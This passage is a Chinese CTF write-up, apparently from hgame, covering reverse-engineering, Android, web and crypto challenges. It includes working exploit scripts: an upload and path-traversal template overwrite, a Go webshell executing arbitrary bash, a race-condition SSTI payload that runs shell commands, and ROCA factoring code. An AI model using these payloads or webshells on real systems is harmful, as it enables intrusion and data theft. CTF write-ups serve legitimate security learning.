.text:00000001400012B7      mov     qword ptr [rsp+158h+var_138], 45h ; 'E'
.text:00000001400012C0      loc_1400012C0: ; DATA XREF: .rdata:0000000140003A2C↓
.text:00000001400012C0      ; __try { // __except at loc_14000134B
.text:00000001400012C0      movups  xmm0, [rsp+158h+var_138]
.text:00000001400012C5      movaps  [rsp+158h+var_108], xmm0
.text:00000001400012CA      movsd   xmm1, [rsp+158h+var_128]

003A20      UNWIND_CODE <0Bh, 70h> ; UWOP_PUSH_NONVOL
003A22      align 4
003A24      dd rva __C_specific_handler
003A28      dd 1
003A2C      C_SCOPE_TABLE <rva loc_1400012C0, rva loc_14000134B, 1, \
003A2C      rva loc_14000134B>
0140001340      call    CS.RaiseException
0140001346      loc_140001346: ; CODE XREF: main+1DE↑
0140001346      jmp     loc_1400014B6
0140001346 ; } // starts at 1400012C0
014000134B ; -----
014000134B
014000134B loc_14000134B: ; DATA XREF: .rdata:00
014000134B ; __except(1) // owned by 1400012C0
014000134B      lea     rcx, aSevenEatsTheHa ; "Seven eats the

```

可以nop掉jmp，让ida正常进行反编译

然后程序给了我们一次回填被修改的hash的机会

程序会拿增量之后的内容加密flag，比较密文。

只需要根据从内存中找到的内容，计算一下md5回填回去

```

00177BF9D38F0 db 53h ; S
00177BF9D38F1 db 65h ; e
00177BF9D38F2 db 76h ; v
00177BF9D38F3 db 65h ; e
00177BF9D38F4 db 6Eh ; n
00177BF9D38F5 db 20h
00177BF9D38F6 db 73h ; s
00177BF9D38F7 db 61h ; a
00177BF9D38F8 db 79h ; y
00177BF9D38F9 db 73h ; s
00177BF9D38FA db 20h
00177BF9D38FB db 79h ; y
00177BF9D38FC db 6Fh ; o
00177BF9D38FD db 75h ; u
00177BF9D38FE db 27h ; '
00177BF9D38FF db 72h ; r
00177BF9D3900 db 65h ; e
00177BF9D3901 db 20h
00177BF9D3902 db 72h ; r
00177BF9D3903 db 69h ; i
00177BF9D3904 db 67h ; g
00177BF9D3905 db 68h ; h
00177BF9D3906 db 74h ; t
00177BF9D3907 db 21h ; !
00177BF9D3908 db 21h ; !
00177BF9D3909 db 21h ; !
00177BF9D390A db 21h ; !
00177BF9D390B db 0

```

那么如何找这个key呢？我们发现最后加密就一步xor，所以我们可以先用固定的“hgame{”，xor一下密文找到key的前6个字节是“Seven”

From Hex

Delimiter
Auto

XOR

Key
hgame{

UTF8

Scheme
Standard

☐ Null preserving

0x3b,0x2,0x17,0x8,0xb,0x5b,0x4a,0x52,0x4d,0x11,0x11,0x4b,0x5c,0x43,0xa,0x13,0x54,0x15,0x7,0x5a,0x46,0x15,0x54,0x1b,0x10,0x43,0x40,0x5f,0x45,0x5a

208 1

Output

Seven "5,|t04\$k~1i.#24\$jd•vZU3}" ;+p/sw"-:>2

| Address | Length | Type | String |
|--------------|----------|------|---|
| Stack[000... | 00000011 | C | Seveneatsthehash |
| debug035:... | 0000001D | C | 4Seven says you're right!!!! |
| .rdata:00... | 00000051 | C | Seven eats the hash and causes the program to app |
| .rdata:00... | 00000058 | C | Seven wants to make up for the mistake, so she's |
| .data:000... | 00000010 | C | Seveneatsthehash |
| KERNELBAS... | 00000020 | C | BiGetActiveBackgroundTasksEvent |
| KERNELBAS... | 00000027 | C | BiGetActiveBackgroundTasksEventForUser |
| KERNELBAS... | 00000017 | C | PowerReportLimitsEvent |
| KERNELBAS... | 0000001A | C | BthProcessEventOccurrence |
| KERNELBAS... | 00000020 | C | BthProcessEventOccurrenceResult |
| KERNELBAS... | 00000014 | C | CfOpenProgressEvent |
| KERNELBAS... | 00000018 | C | NcaStatusEventSubscribe |
| KERNELBAS... | 0000001A | C | NcaStatusEventUnsubscribe |
| KERNELBAS... | 00000019 | C | SLUnregisterWindowsEvent |
| KERNELBAS... | 00000017 | C | SLRegisterWindowsEvent |
| KERNELBAS... | 00000015 | C | UiaRaiseChangeEvent |
| KERNELBAS... | 00000018 | C | USEventMaskToObjectType |

Seven

Line 2 of 17

| | | | |
|---------|----|-----|-----|
| FCCF77F | db | 34h | ; 4 |
| FCCF780 | db | 53h | ; S |
| FCCF781 | db | 65h | ; e |
| FCCF782 | db | 76h | ; v |
| FCCF783 | db | 65h | ; e |
| FCCF784 | db | 6Eh | ; n |
| FCCF785 | db | 20h | |
| FCCF786 | db | 73h | ; s |
| FCCF787 | db | 61h | ; a |
| FCCF788 | db | 79h | ; y |
| FCCF789 | db | 73h | ; s |
| FCCF78A | db | 20h | |
| FCCF78B | db | 79h | ; y |
| FCCF78C | db | 6Fh | ; o |
| FCCF78D | db | 75h | ; u |
| FCCF78E | db | 27h | ; ' |
| FCCF78F | db | 72h | ; r |
| FCCF790 | db | 65h | ; e |
| FCCF791 | db | 20h | |
| FCCF792 | db | 72h | ; r |
| FCCF793 | db | 69h | ; i |
| FCCF794 | db | 67h | ; g |
| FCCF795 | db | 68h | ; h |
| FCCF796 | db | 74h | ; t |
| FCCF797 | db | 21h | ; ! |
| FCCF798 | db | 21h | ; ! |
| FCCF799 | db | 21h | ; ! |
| FCCF79A | db | 21h | ; ! |
| FCCF79B | db | 0 | |

一个非常阴险的小trick是记得带上0x00才是全部的key以及要填写的md5

key是Seven says you're right!!!! 要带上后面的0x00

所以就是

53 65 76 65 6e 20 73 61 79 73 20 79 6f 75 27 72 65 20 72 69 67 68 74 21 21 21 21 00

然后就是正常写解密

```

1  BYTE key[] = { "Seven says you're right!!!!" };
2  BYTE enc[] = {
    0x3b,0x2,0x17,0x8,0xb,0x5b,0x4a,0x52,0x4d,0x11,0x11,0x4b,0x5c,0x43,0xa,0x13,0x
    54,0x12,0x46,0x44,0x53,0x59,0x41,0x11,0xc,0x18,0x17,0x37,0x30,0x48,0x15,0x7,0x
    5a,0x46,0x15,0x54,0x1b,0x10,0x43,0x40,0x5f,0x45,0x5a};
3      for (int i = 0; i < 43; i++)

```

```
4      {
5          printf("%c", (BYTE)(enc[i] ^ key[i % 28]));
6      }
```

尊嘟假嘟

主要逻辑不在MainActivity里面，使用的是Fragment组件，这道题使用JEB会比JADX简单很多

主要逻辑都在两个Fragment内，首先这两个Fragment都注册了一个argument叫做zunjia用来组件内传递信息。

```
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto">
<fragment
    android:id="@id/FirstFragment"
    android:label="@string/first_fragment_label"
    android:name="com.nobody.zunjia.zundu">
    <argument
        android:defaultValue=""
        android:name="zunjia"
        app:argType="string"/>
    <action
        android:id="@id/action_FirstFragment_to_SecondFragment"
        app:destination="@id/SecondFragment"/>
</fragment>
<fragment
    android:id="@id/SecondFragment"
    android:label="@string/second_fragment_label"
    android:name="com.nobody.zunjia.jiadu">
    <argument
        android:defaultValue=""
        android:name="zunjia"
        app:argType="string"/>
    <action
        android:id="@id/action_SecondFragment_to_FirstFragment"
        app:destination="@id/FirstFragment"/>
</fragment>
</navigation>
```

点击图片会触发事件，获取zunjia的值，并在后面拼接一个字符串

```

Bundle bundle1 = this.getArguments();
ZunDu.setOnClickListener(new View.OnClickListener() {
    @Override // android.view.View$OnClickListener
    public void onClick(View v) {
        String ZunduJiadu;
        String s = bundle1.getString("zunjia");
        if(s == null) {
            ZunduJiadu = "0.0";
        }
        else {
            ZunduJiadu = s.length() >= 36 ? "The length is too large" : s + "0.0";
        }

        bundle1.putString("zunjia", ZunduJiadu);
        toast to = new toast(zundu.this.getContext());
        to.setText(ZunduJiadu);
        to.setDuration(0);
        to.show();
    }
});

```

同理另一个Fragment也是实现了相同的功能

拼接后的字符串会用Toast弹窗显示出来。然后程序重写了Toast类，调用了一个函数callDexMethod，并将结果进入check检查。callDexMethod会将拼接后的字符串也作为参数传进来。

```

public class toast extends Toast {
    private Context mycontext;

    public toast(Context context) {
        super(context);
        this.mycontext = context;
    }

    static native void check(Context arg0, String arg1) {
    }

    @Override // android.widget.Toast
    public void setText(CharSequence s) {
        super.setText(s);
        String s = (String)DexCall.callDexMethod(this.mycontext, this.mycontext.getString(string.dex), this.mycontext.getString(string.dex));
        toast.check(this.mycontext, s);
    }
}

```

callDexMethod就是一个动态加载dex文件调用方法的函数，这里调用的是encode函数，但是发现assets文件夹里面的dex文件被加密了。猜测解密逻辑在native层的函数copyDexFromAssets

```

public class DexCall {
    static {
        System.loadLibrary("zunjia");
        System.loadLibrary("check");
    }

    public static Object callDexMethod(Context context, String dexFileName, String className, String method
    File dexDir = new File(context.getCacheDir(), "dex");
    if(dexDir.mkdir() || dexDir.setWritable(true)) {
        File file1 = DexCall.copyDexFromAssets(context, dexFileName, dexDir);
        try {
            if(file1.exists() && file1.setReadOnly()) {
                ClassLoader classLoader0 = context.getClassLoader();
                Class class0 = new DexClassLoader(file1.getAbsolutePath(), dexDir.getAbsolutePath(),
                Constructor constructor0 = class0.getConstructor();
                constructor0.setAccessible(true);
                Object object1 = constructor0.newInstance();
                Object object2 = class0.getMethod(methodName, input.getClass()).invoke(object1, input
                file1.delete();
                return object2;
            }
        }
        catch(Exception e) {
            if(file1.exists()) {
                file1.delete();
            }

            e.printStackTrace();
        }
    }

    return null;
}

static native File copyDexFromAssets(Context arg0, String arg1, File arg2) {
}
}

```

解密逻辑，特征分析是IDEA解密（频繁出现0x10001）

| | | |
|---|---|---|
| <pre> sub_1DCC sub_1FDS de Java_com_nobody_zunjia_DexCall_copyDexFromA... sub_2748 sub_277C sub_27C0 sub_28BC sub_28F8 sub_29F4 sub_2A30 sub_2A64 sub_2B60 sub_2BA0 new finaliza </pre> | <pre> 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 </pre> | <pre> v9 = v8; v11 = v9 >> 3; } else { v11 = v17 / 8; } length_4 = malloc(8 * v11); del(buf, (unsigned int)v17, length_4, (unsigned int)(8 * v11)); __write_chk(fd, length_4, 8 * v11, -1LL); free(length_4); } close(fd); v34 = open(s, 66, 420LL); read_chk(v34, buf, 1024LL, 1024LL); </pre> |
|---|---|---|

Line 21 of 75

正常解密文件,有两个encode函数，两个函数逻辑相同，都是先异或然后换标的base64。

```

public String encode(String s) {
    int v6;
    int v5;
    int v4;
    if(s == null) {
        return null;
    }

    byte[] arr_b = s.getBytes();
    for(int v = 0; v < arr_b.length; ++v) {
        arr_b[v] = (byte)(arr_b[v] ^ v);
    }

    byte[] arr_b1 = new byte[(arr_b.length + 2) / 3 * 4];
    int v2 = 0;
    for(int v1 = 0; v1 < arr_b.length; v1 = v4) {
        int v3 = arr_b[v1];
        if(v1 + 1 < arr_b.length) {
            v4 = v1 + 2;
            v5 = arr_b[v1 + 1];
        }
        else {
            v4 = v1 + 1;
            v5 = 0;
        }

        if(v4 < arr_b.length) {
            v6 = arr_b[v4];
            ++v4;
        }
        else {
            v6 = 0;
        }

        int v7 = (v3 & 0xFF) << 16 | (v5 & 0xFF) << 8 | v6 & 0xFF;
        arr_b1[v2] = (byte)"3GHIJKLMNOPQRSTUbcdefghijklmnopWXYZ/12+406789VqrstuvwxyzABCDE5".charAt(v7 >> 18 &
        int v8 = v2 + 2;
        arr_b1[v2 + 1] = (byte)"3GHIJKLMNOPQRSTUbcdefghijklmnopWXYZ/12+406789VqrstuvwxyzABCDE5".charAt(v7 >>
        arr_b1[v8] = (byte)"3GHIJKLMNOPQRSTUbcdefghijklmnopWXYZ/12+406789VqrstuvwxyzABCDE5".charAt(v7 >> 6 &
        v2 = v8 + 2;
        arr_b1[v8 + 1] = (byte)"3GHIJKLMNOPQRSTUbcdefghijklmnopWXYZ/12+406789VqrstuvwxyzABCDE5".charAt(v7 & 0

    }

    return new String(arr_b1);
}

```

```

public String encode(byte[] arr_b) {
    int v6;
    int v5;
    int v4;
    if(arr_b == null) {
        return null;
    }
}

```

逻辑大概弄清，就是点击图片后拼接的字符串，先经过异或跟换表base64的加密，然后传进check函数检查

check函数逻辑

```

9  __int64 v11; // [xsp+48h] [xbp-58h]
10 __int64 v12; // [xsp+58h] [xbp-48h]
11 __int64 v13; // [xsp+60h] [xbp-40h]
12 __int64 v14; // [xsp+68h] [xbp-38h]
13
14 _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
15 v14 = sub_12BC(a1, a4);
16 v13 = sub_10A0(a1, "com/nobody/zunjia/DexCall");
17 v12 = sub_12F8(a1, v13, "<init>", "()V");
18 sub_133C(a1, v13, v12);
19 v11 = sub_1438(
20     a1,
21     v13,
22     "callDexMethod",
23     "(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/Object;");
24 v10 = sub_147C(a1, "zunjia.dex");
25 v9 = sub_147C(a1, "com.nobody.zundujiadu");
26 v8 = sub_147C(a1, "encode");
27 RC4(aZ, v14);
28 v7 = sub_14B0(a1);
29 sub_14E4(a1, v7, 0LL, 43LL, aZ);
30 v6 = sub_1530(a1, v13, v11, a3, v10, v9, v8, v7);
31 v4 = (const char *)sub_12BC(a1, v6);
32 return __android_log_print(4, "Native", "Result is %s\nTry decrypto it, you will get flag! But really?", v4);
33 }

```

很多都是无用的，最重要的就是RC4，将传进来的参数作为key与密文进行RC4解密。所以只需要我们爆破出key就可以了。我们知道key只有两种拼接方式，"0.o"与"o.0",而且在前面的逻辑中我们发现他也限制了长度，最长是36字节。所以只需要爆破 $2^{13} - 2$ 次就可以。

解密脚本

```

1  #include <iostream>
2  #include <bitset>
3  #include <cstring>
4  #include <algorithm>
5  unsigned char sbox[256] = {0};
6  const char CUSTOM_ALPHABET[] =
7      "3GHIJKLMNOPQRSTUv=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEf5";
8  unsigned char data[] =
9      {
10         0x7A, 0xC7, 0xC7, 0x94, 0x51, 0x82, 0xF5, 0x99, 0x0C, 0x30,
11         0xC8, 0xCD, 0x97, 0xFE, 0x3D, 0xD2, 0xAE, 0x0E, 0xBA, 0x83,
12         0x59, 0x87, 0xBB, 0xC6, 0x35, 0xE1, 0x8C, 0x59, 0xEF, 0xAD,
13         0xFA, 0x94, 0x74, 0xD3, 0x42, 0x27, 0x98, 0x77, 0x54, 0x3B,
14         0x46, 0x5E, 0x95};
15 char *encode(unsigned char *input, size_t inputLength)
16 {
17     if (input == NULL)
18     {
19         return NULL;
20     }
21     // 对输入数据进行异或操作
22     unsigned char *tempInput = (unsigned char *)malloc(inputLength);
23     if (tempInput == NULL)
24     {
25         return NULL;

```



```

26     }
27     for (size_t i = 0; i < inputLength; i++)
28     {
29         tempInput[i] = input[i] ^ (unsigned char)i;
30     }
31
32     // 计算编码后的长度
33     size_t outputLength = ((inputLength + 2) / 3) * 4;
34     char *outputBytes = (char *)malloc(outputLength + 1); // 额外加 1 用于存储字
字符串结束符 '\0'
35     if (outputBytes == NULL)
36     {
37         free(tempInput);
38         return NULL;
39     }
40
41     size_t inputIndex = 0;
42     size_t outputIndex = 0;
43
44     while (inputIndex < inputLength)
45     {
46         unsigned char b0 = tempInput[inputIndex++];
47         unsigned char b1 = (inputIndex < inputLength) ?
tempInput[inputIndex++] : 0;
48         unsigned char b2 = (inputIndex < inputLength) ?
tempInput[inputIndex++] : 0;
49
50         unsigned int group = ((b0 & 0xFF) << 16) | ((b1 & 0xFF) << 8) | (b2 &
0xFF);
51
52         outputBytes[outputIndex++] = CUSTOM_ALPHABET[(group >> 18) & 0x3F];
53         outputBytes[outputIndex++] = CUSTOM_ALPHABET[(group >> 12) & 0x3F];
54         outputBytes[outputIndex++] = CUSTOM_ALPHABET[(group >> 6) & 0x3F];
55         outputBytes[outputIndex++] = CUSTOM_ALPHABET[group & 0x3F];
56     }
57
58     outputBytes[outputLength] = '\0'; // 添加字符串结束符
59     free(tempInput);
60
61     return outputBytes;
62 }
63 void swap(unsigned char *a, unsigned char *b)
64 {
65     unsigned char tmp = *a;
66     *a = *b;
67     *b = tmp;
68 }

```

```

69 void init_sbox(unsigned char *key)
70 {
71     for (unsigned int i = 0; i < 256; i++) // 赋值
72         sbox[i] = i;
73     unsigned int keyLen = strlen((char *)key);
74     unsigned char Ttable[256] = {0};
75     for (int i = 0; i < 256; i++)
76         Ttable[i] = key[i % keyLen]; // 根据初始化t表
77     for (int j = 0, i = 0; i < 256; i++)
78     {
79         j = (j + sbox[i] + Ttable[i]) % 256; // 打乱s盒
80         swap(&sbox[i], &sbox[j]);
81     }
82 }
83 void RC4(unsigned char *data, unsigned char *key)
84 {
85     unsigned char k, i = 0, j = 0, t;
86     init_sbox(key);
87     unsigned int dataLen = strlen((char *)data);
88     for (unsigned h = 0; h < dataLen; h++)
89     {
90         i = (i + 1) % 256;
91         j = (j + sbox[i]) % 256;
92         swap(&sbox[i], &sbox[j]);
93         t = (sbox[i] + sbox[j]) % 256;
94         k = sbox[t]; // 求密钥流,并对明文加密
95         data[h] ^= k;
96     }
97 }
98 int main()
99 {
100     // 遍历 1 到 12 位的二进制字符串
101     for (int numBits = 1; numBits <= 12; ++numBits)
102     {
103         // 计算当前位数对应的最大整数
104         int maxNum = 1 << numBits;
105         for (int i = 0; i < maxNum; ++i)
106         {
107             // 将整数转换为二进制字符串
108             std::bitset<12> binary(i);
109             std::string binaryStr = binary.to_string().substr(12 - numBits);
110             // 进行替换操作
111             std::string replacedStr;
112             for (char c : binaryStr)
113             {
114                 if (c == '0')
115                     {

```

```

116             replacedStr += "0.o";
117         }
118         else
119         {
120             replacedStr += "o.0";
121         }
122     }
123     // 进行 RC4 算法
124     char *key = encode((unsigned char *)replacedStr.c_str(),
replacedStr.length());
125     unsigned char tmp[43];
126     memcpy(tmp, data, sizeof(data));
127     RC4(tmp, (unsigned char *)key);
128     if (!strcmp((const char *)tmp, "hgame", 5))
129     {
130         printf("key:%s\n", replacedStr.c_str());
131         printf("flag:%s", tmp);
132     }
133     }
134 }
135     return 0;
136 }
137

```

WEB

Level 24 Pacman

Web签到题

先简单玩一局，发现输出了一串Base64编码后的字符串，同时控制台也有对应输出.

Pac-Man



按 [空格键] 暂停或继续

Press [space] to pause or continue

Powered by passer-by

Pac-Man



按 [空格键] 暂停或继续

Press [space] to pause or continue

Powered by passer-by

here is your gift:aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ==

解码后得到以下字符串: `haepaiemkspretgm{rtc_ae_efc}`

观察发现存在flag特征，猜测或结合Hint得知为栅栏密码，解码得到

Input

+

haepaiemkspretgm{rtc_ae_efc}

REC 28 1

Raw Bytes LF


Output

hgame{pratice_makes_perfect}

`hgame{pratice_makes_perfect}`

```
$ hgame{pratice_makes_perfect}
[*] 正在提交: hgame{pratice_makes_perfect}
已提交, 正在等待评测...
[!] 错误: 并非正解, 多练
```

结合题干里提到的“收集一万枚金币”，联想到js源码中可能存在可疑字符串,解码得到真正flag



PS:如若因为假flag给选手带来了不好的做题体验，非常抱歉TvT

Level 69 MysteryMessageBoard

弱密码登录，只要admin可以访问/flag,xss跳转让有admin权限的bot跳转/flag，服务器外带flag

Level 47 BandBomb

题目描述用大模型扩写导致太抽象了致歉 orz 下次一定自己码字。有用提示主要是刻意将 `index.ejs` 修改成了 `mortis.ejs`；而从 颂乐人偶 第三集 中可以得知 Mortis 作为副人格顶替了睦的主人格，联想到需要对 `mortis.ejs` 进行覆盖 至于UmiTaki只是出题人在磕罢了

思路是通过 `/update` 上传读取环境变量的模板文件，访问 `/rename` 重命名形成目录穿越，覆盖掉主页面模板 `mortis.ejs` 后再次访问主页获得flag

```
1  # EXP for Level_47_BandBomb
2  import requests
3  import os
4
5  def exp_band_bomb():
6      base_url = 'http://146.56.227.88:32735'
7
8      try:
9          # 创建RCE payload
10         payload = 'mortis.ejs'
11         with open(payload, 'w') as f:
12             f.write('<%= process.env.FLAG %>')
13
14         # 上传payload
```

```

15         print("正在上传墨姐...")
16         with open(payload, 'rb') as file:
17             files = {
18                 'file': ('mortis.ejs', file)
19             }
20             upload_response = requests.post(f'{base_url}/upload', files=files)
21             print("上传响应:", upload_response.json())
22             if upload_response.status_code != 200:
23                 raise Exception("文件上传失败")
24
25             # 重命名payload替换原页面
26             print("\n正在重命名墨姐...")
27             rename_data = {
28                 'oldName': 'mortis.ejs',
29                 'newName': '../views/mortis.ejs'
30             }
31             rename_response = requests.post(f'{base_url}/rename',
json=rename_data)
32             print("重命名响应:", rename_response.json())
33
34             if rename_response.status_code != 200:
35                 raise Exception("墨姐重命名失败")
36
37             # 获取FLAG
38             print("\n获取FLAG...")
39             home_response = requests.get(base_url)
40             print("FLAG:", home_response.text)
41
42         except Exception as e:
43             print(f"发生错误: {str(e)}")
44
45         finally:
46             # 清理本地测试文件
47             if os.path.exists(payload):
48                 os.remove(payload)
49
50     if __name__ == "__main__":
51         exp_band_bomb()
52

```

```

正在上传墨姐...
上传响应: {'message': '文件上传成功', 'filename': 'mortis.ejs'}

正在重命名墨姐...
重命名响应: {'message': '文件重命名成功'}

获取FLAG...
FLAG: hgame{4VE_mUJlC@_Ha5_bR0Ken_Up_6uT_we_h@ve-uMItAKI3e}

```

Level 25 双面人派对

1. 打开其中一个端口发现main直接下载
2. `upx -d main` 脱壳
3. 可以ida打开看看，发现一下conf包，也可以strings直接提取，总之会发现这么一段文本

```
1  minio:
2      endpoint: "127.0.0.1:9000"
3      access_key: "minio_admin"
4      secret_key: "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs="
5      bucket: "prodbucket"
6      key: "update"
7
```

这是默认配置文件，提示了第二个端口其实是minio，以及其aksk

4. 使用minio client连接到远程，获取到源码，一看整个源码里只有overseer，发现原来是打自更新RCE
5. 修改源码写入webshell部分，编译上传覆盖prodbucket/update，等待自更新完成
6. `/shell?cmd=cat /flag` 拿下

```
1  // main.go
2  func program(state overseer.State) {
3      g := gin.Default()
4      // g.StaticFS("/", gin.Dir(".", true))
5      g.GET("/shell", func(c *gin.Context) {
6          cmd, _ := c.GetQuery("cmd")
7          out, err := exec.Command("bash", "-c", cmd).CombinedOutput()
8          if err != nil {
9              c.String(500, err.Error())
10             return
11         }
12         c.String(200, string(out))
13     })
14     g.Run(":8080")
15 }
```

复现注意：

1. overseer库要求自更新的可执行文件也是overseer的，所以最好直接在提供的代码上修改
2. 记得注释掉原来的静态文件托管，否则会产生路由冲突，直接panic

3. 部分选手反馈无法删除minio的update文件，暂未查明也未修复，但是这里可以直接覆盖掉，不影响做题

Level 38475 角落

读robots.txt -> app.conf

可以拿到app.py的绝对路径，同时可以利用这里的rewrite来读文件

```
1  # Include by httpd.conf
2  <Directory "/usr/local/apache2/app">
3      Options Indexes
4      AllowOverride None
5      Require all granted
6  </Directory>
7
8  <Files "/usr/local/apache2/app/app.py">
9      Order Allow,Deny
10     Deny from all
11 </Files>
12
13 RewriteEngine On
14 RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
15 RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"
16
17 ProxyPass "/app/" "http://127.0.0.1:5000/"
```

参考: <https://blog.orange.tw/posts/2024-08-confusion-attacks-ch/>

读源码/admin/usr/local/apache2/app/app.py%3f(还要求改个user-agent以 L1nk/ 开头)

源代码中这段可以利用条件竞争打ssti来rce

```
1  # ...
2  @app.route('/read', methods=['GET'])
3  def read_message():
4      if "{" not in readmsg():
5          show = show_msg.replace("{}message{}", readmsg())
6          return render_template_string(show)
7      return 'waf!!'
8  # ...
```

看完源代码以后打条件竞争rce

```

1  import requests
2  import threading
3
4  url = 'http://node1.hgame.vidar.club:32737/'
5  data = {
6      "messgae": "",
7  }
8
9  def write_msg(i):
10     data["message"] = "
    {{config.__class__.__init__.__globals__['os'].popen('cat
    /flag').read()}}" + str(i)
11     r = requests.post(url + '/app/send', data=data)
12
13  def read_msg(i):
14     r = requests.get(url + '/app/read')
15     print(i, "read", r.text)
16     if "Latest" in r.text:
17         print(r.text)
18         exit()
19
20  threads = []
21
22  for i in range(10):
23     thread = threading.Thread(target=write_msg, args=(i,))
24     threads.append(thread)
25     thread.start()
26     thread = threading.Thread(target=read_msg, args=(i,))
27     threads.append(thread)
28     thread.start()
29
30  for thread in threads:
31     thread.join()
32

```

CRYPTO

suprimeRSA

关键在于看出素数的生成方式是特殊的，发现符合

$p = k \times M + (65537^a \bmod M)$ ，使用ROCA攻击(CVE-2017-15361)

使用现成工具/sage脚本

NECA:

```

1  ubuntu@xxx:~/neca/build$ ./neca
787190064146025392337631797277972559696758830083248285626115725258876808514690
830730702705056550628756290183000265129340257928314614351263713241
2  NECA - Not Even Coppersmith's Attack
3  ROCA weak RSA key attack by Jannis Harder (me@jix.one)
4
5  *** Currently only 512-bit keys are supported ***
6
7  *** OpenMP support enabled ***
8
9  N =
787190064146025392337631797277972559696758830083248285626115725258876808514690
830730702705056550628756290183000265129340257928314614351263713241
10 Factoring...
11
12  [=====] 34.36% elapsed: 32s left: 61.15s total: 93.15s
13
14  Factorization found:
15  N = 954455861490902893457047257515590051179337979243488068132318878264162627
* 824752716083066619280674937934149242011126804999047155998788143116757683

```

Sage:

```

1  from sage.all import *
2  from sage.parallel.multiprocessing_sage import parallel_iter
3  from multiprocessing import cpu_count
4
5  def roca(n):
6
7      keySize = n.bit_length()
8
9      if keySize <= 960:
10         M_prime = 0x1b3e6c9433a7735fa5fc479ffe4027e13bea
11         m = 5
12
13     elif 992 <= keySize <= 1952:
14         M_prime =
0x24683144f41188c2b1d6a217f81f12888e4e6513c43f3f60e72af8bd9728807483425d1e
15         m = 4
16         print("Have you several days/months to spend on this ?")
17
18     elif 1984 <= keySize <= 3936:
19         M_prime =
0x16928dc3e47b44daf289a60e80e1fc6bd7648d7ef60d1890f3e0a9455efe0abdb7a748131413
cebd2e36a76a355c1b664be462e115ac330f9c13344f8f3d1034a02c23396e6

```

```

20         m = 7
21         print("You'll change computer before this scripts ends...")
22
23     elif 3968 <= keySize <= 4096:
24         print("Just no.")
25         return None
26
27     else:
28         print("Invalid key size: {}".format(keySize))
29         return None
30
31     a3 = Zmod(M_prime)(n).log(65537)
32     order = Zmod(M_prime)(65537).multiplicative_order()
33     inf = a3 // 2
34     sup = (a3 + order) // 2
35
36     # Search 10 000 values at a time, using multiprocessing
37     # too big chunks is slower, too small chunks also
38     chunk_size = 10000
39     for inf_a in range(inf, sup, chunk_size):
40         # create an array with the parameter for the solve function
41         inputs = [(M_prime, n, a, m), {}] for a in range(inf_a,
inf_a+chunk_size)]
42         # the sage builtin multiprocessing stuff
43
44         for k, val in parallel_iter(cpu_count(), solve, inputs):
45             if val:
46                 p = val[0]
47                 q = val[1]
48                 print("found factorization:\np={} \nq={}".format(p, q))
49                 return val
50
51 def solve(M, n, a, m):
52     base = int(65537)
53     # the known part of p: 65537^a * M^-1 (mod N)
54     known = int(pow(base, a, M) * inverse_mod(M, n))
55     # Create the polynom f(x)
56     F = PolynomialRing(Zmod(n), implementation='NTL', names=('x',))
57     (x,) = F._first_ngens(1)
58     pol = x + known
59     beta = 0.1
60     t = m+1
61     # Upper bound for the small root x0
62     XX = floor(2 * n**0.5 / M)
63     # Find a small root (x0 = k) using Coppersmith's algorithm
64     def coppersmith_howgrave_univariate(pol, modulus, beta, mm, tt, XX):
65         """

```

```

66         Taken from https://github.com/mimoo/RSA-and-LLL-
attacks/blob/master/coppersmith.sage
67         Coppersmith revisited by Howgrave-Graham
68
69         finds a solution if:
70         *  $b \mid \text{modulus}$ ,  $b \geq \text{modulus}^\beta$ ,  $0 < \beta \leq 1$ 
71         *  $|x| < XX$ 
72         More tunable than sage's builtin coppersmith method, pol.small_roots()
73         """
74         #
75         # init
76         #
77         dd = pol.degree()
78         nn = dd * mm + tt
79
80         #
81         # checks
82         #
83         if not 0 < beta <= 1:
84             raise ValueError("beta should belongs in [0, 1]")
85
86         if not pol.is_monic():
87             raise ArithmeticError("Polynomial must be monic.")
88
89         #
90         # calculate bounds and display them
91         #
92         """
93         * we want to find  $g(x)$  such that  $\|g(xX)\| \leq b^m / \sqrt{n}$ 
94
95         * we know LLL will give us a short vector  $v$  such that:
96          $\|v\| \leq 2^{((n-1)/4)} * \det(L)^{(1/n)}$ 
97
98         * we will use that vector as a coefficient vector for our  $g(x)$ 
99
100        * so we want to satisfy:
101         $2^{((n-1)/4)} * \det(L)^{(1/n)} < N^{(\beta * m)} / \sqrt{n}$ 
102
103        so we can obtain  $\|v\| < N^{(\beta * m)} / \sqrt{n} \leq b^m / \sqrt{n}$ 
104        (it's important to use  $N$  because we might not know  $b$ )
105        """
106        #
107        # Coppersmith revisited algo for univariate
108        #
109
110        # change ring of pol and x
111        polZ = pol.change_ring(ZZ)

```

```

112         x = polZ.parent().gen()
113
114         # compute polynomials
115         gg = []
116         for ii in range(mm):
117             for jj in range(dd):
118                 gg.append((x * XX) ** jj * modulus ** (mm - ii) * polZ(x *
XX) ** ii)
119         for ii in range(tt):
120             gg.append((x * XX) ** ii * polZ(x * XX) ** mm)
121
122         # construct lattice B
123         BB = Matrix(ZZ, nn)
124
125         for ii in range(nn):
126             for jj in range(ii + 1):
127                 BB[ii, jj] = gg[ii][jj]
128
129         BB = BB.LLL()
130
131         # transform shortest vector in polynomial
132         new_pol = 0
133         for ii in range(nn):
134             new_pol += x ** ii * BB[0, ii] / XX ** ii
135
136         # factor polynomial
137         potential_roots = new_pol.roots()
138
139         # test roots
140         roots = []
141         for root in potential_roots:
142             if root[0].is_integer():
143                 result = polZ(ZZ(root[0]))
144                 if gcd(modulus, result) >= modulus ** beta:
145                     roots.append(ZZ(root[0]))
146         return roots
147     roots = coppersmith_howgrave_univariate(pol, n, beta, m, t, XX)
148     # There will be no roots for an incorrect guess of a.
149     for k in roots:
150         # reconstruct p from the recovered k
151         p = int(k*M + pow(base, a, M))
152         if n%p == 0:
153             return p, n//p
154
155
156     if __name__ == "__main__":

```

```

157     n =
      787190064146025392337631797277972559696758830083248285626115725258876808514690
      830730702705056550628756290183000265129340257928314614351263713241
158     roca(n)
159     ""
160     found factorization:
